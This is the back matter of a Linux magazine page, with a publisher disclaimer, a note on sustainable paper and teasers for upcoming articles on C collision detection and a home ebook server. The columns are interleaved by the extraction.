although every care is taken, neither Future nor its employees, agents, subcontractors or licensees shall be liable for loss or
damage. We assume all unsolicited material is for publication unless otherwise stated, and reserve the right to edit, amend
and adapt all submissions. All contents in this magazine are used at your own risk. We accept no liability for any loss of data
or damage to your systems, peripherals or software through the use of any guide.

Collision detected
We are committed to only using magazine paper derived from responsibly managed, certified forestry and chlorine-free
manufacture. The paper in this magazine was sourced and produced from sustainable managed forests, conforming to
strict environmental and socioeconomic standards.

Future is an award-winning international media group and


Get to grips with high-speed collision detection in C that's leading digital business. We reach more than 57 million
international consumers a month and create world-class

fast enough to run on the Pi at 60 frames per second.


content and advertising solutions for passionate
consumers online, on tablet & smartphone and in print.

Build a shared virtual library


CREDIT: Magictorch

Want to help everyone read more? Of course! We set up a


shared home ebook server so you can share your books.
Content of future issues subject to change. We might be whisked off to a dungeon in Redmond…

98 LXF313 April 2024 www.linuxformat.com


9000 9021

You might also like